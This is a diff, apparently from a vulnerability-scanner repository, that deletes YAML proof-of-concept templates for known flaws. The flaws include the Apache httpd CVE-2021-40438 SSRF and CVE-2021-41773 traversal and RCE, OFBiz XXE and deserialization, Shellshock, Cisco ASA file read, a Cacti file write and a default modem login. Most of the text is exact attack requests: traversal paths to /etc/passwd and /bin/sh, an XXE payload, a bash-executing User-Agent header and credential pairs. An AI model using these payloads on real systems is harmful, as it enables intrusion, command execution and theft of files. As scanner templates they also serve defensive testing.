path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
follow_redirects: false
expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
detail:
author: Jarcis-cy(https://github.com/Jarcis-cy)
links:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438

View File

@ -1,16 +0,0 @@
name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
groups:
cgibin:
- method: GET
path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
icons:
- method: GET
path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: JingLing(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ

View File

@ -1,14 +0,0 @@
name: poc-yaml-apache-httpd-cve-2021-41773-rce
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
body: echo;expr {{r1}} + {{r2}}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773

View File

@ -1,10 +0,0 @@
name: poc-yaml-apache-kylin-unauth-cve-2020-13937
rules:
- method: GET
path: /kylin/api/admin/config
expression: |
response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
detail:
author: JingLing(github.com/shmilylty)
links:
- https://s.tencent.com/research/bsafe/1156.html

View File

@ -1,12 +0,0 @@
name: poc-yaml-apache-nifi-api-unauthorized-access
manual: true
transport: http
rules:
- method: GET
path: /nifi-api/flow/current-user
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://nifi.apache.org/docs/nifi-docs/rest-api/index.html

View File

@ -1,15 +0,0 @@
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py

View File

@ -1,19 +0,0 @@
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb

View File

@ -1,16 +0,0 @@
name: poc-yaml-aspcms-backend-leak
rules:
- method: GET
path: /plug/oem/AspCms_OEMFun.asp
expression: |
response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
search: >-
(?P<path>(/(.*?).asp))
- method: GET
path: /{{path}}
expression: |
response.status == 200 && response.body.bcontains(b"username")
detail:
author: Hzllaga
links:
- https://www.onebug.org/wooyundata/65458.html

View File

@ -1,64 +0,0 @@
name: poc-yaml-backup-file
set:
host: request.url.domain
sets:
path:
- "sql"
- "www"
- "wwwroot"
- "index"
- "backup"
- "back"
- "data"
- "web"
- "db"
- "database"
- "ftp"
- "admin"
- "upload"
- "package"
- "sql"
- "old"
- "test"
- "root"
- "beifen"
- host
ext:
- "zip"
- "7z"
- "rar"
- "gz"
- "tar.gz"
- "db"
- "bak"
rules:
- method: GET
path: /{{path}}.{{ext}}
follow_redirects: false
continue: true
expression: |
response.content_type.contains("application/") &&
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
response.body.startsWith("314159265359".hexdecode()) ||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
response.body.startsWith("1f8b".hexdecode()) ||
response.body.startsWith("526172211A0700".hexdecode()) ||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
response.body.startsWith("1F9D".hexdecode()) ||
response.body.startsWith("1FA0".hexdecode()) ||
response.body.startsWith("4C5A4950".hexdecode()) ||
response.body.startsWith("504B0304".hexdecode()) )
# - "377ABCAF271C" # 7z
# - "314159265359" # bz2
# - "53514c69746520666f726d6174203300" # SQLite format 3.
# - "1f8b" # gz tar.gz
# - "526172211A0700" # rar RAR archive version 1.50
# - "526172211A070100" # rar RAR archive version 5.0
# - "FD377A585A0000" # xz tar.xz
# - "1F9D" # z tar.z
# - "1FA0" # z tar.z
# - "4C5A4950" # lz
# - "504B0304" # zip
detail:
author: shadown1ng(https://github.com/shadown1ng)

View File

@ -1,14 +0,0 @@
name: poc-yaml-bash-cve-2014-6271
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: GET
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'"
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: neal1991(https://github.com/neal1991)
links:
- https://github.com/opsxcq/exploit-CVE-2014-6271

View File

@ -1,11 +0,0 @@
name: poc-yaml-bt742-pma-unauthorized-access
rules:
- method: GET
path: /pma/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
detail:
author: Facker007(https://github.com/Facker007)
links:
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A

View File

@ -1,15 +0,0 @@
name: poc-yaml-cacti-weathermap-file-write
rules:
- method: GET
path: >-
/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7
follow_redirects: false
expression: response.status == 200
- method: GET
path: /plugins/weathermap/configs/test.php
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"46ea1712d4b13b55b3f680cc5b8b54e8")
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.secpulse.com/archives/47690.html

View File

@ -1,9 +0,0 @@
name: poc-yaml-chinaunicom-modem-default-password
rules:
- method: POST
path: /cu.html
body: >-
frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password=
follow_redirects: false
expression: |
response.status == 302 && response.headers["location"] == "/menu.gch"

View File

@ -1,11 +0,0 @@
name: poc-yaml-cisco-cve-2020-3452-readfile
rules:
- method: GET
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
follow_redirects: false
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
detail:
author: JrD (https://github.com/JrDw0/)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

Some files were not shown because too many files have changed in this diff Show More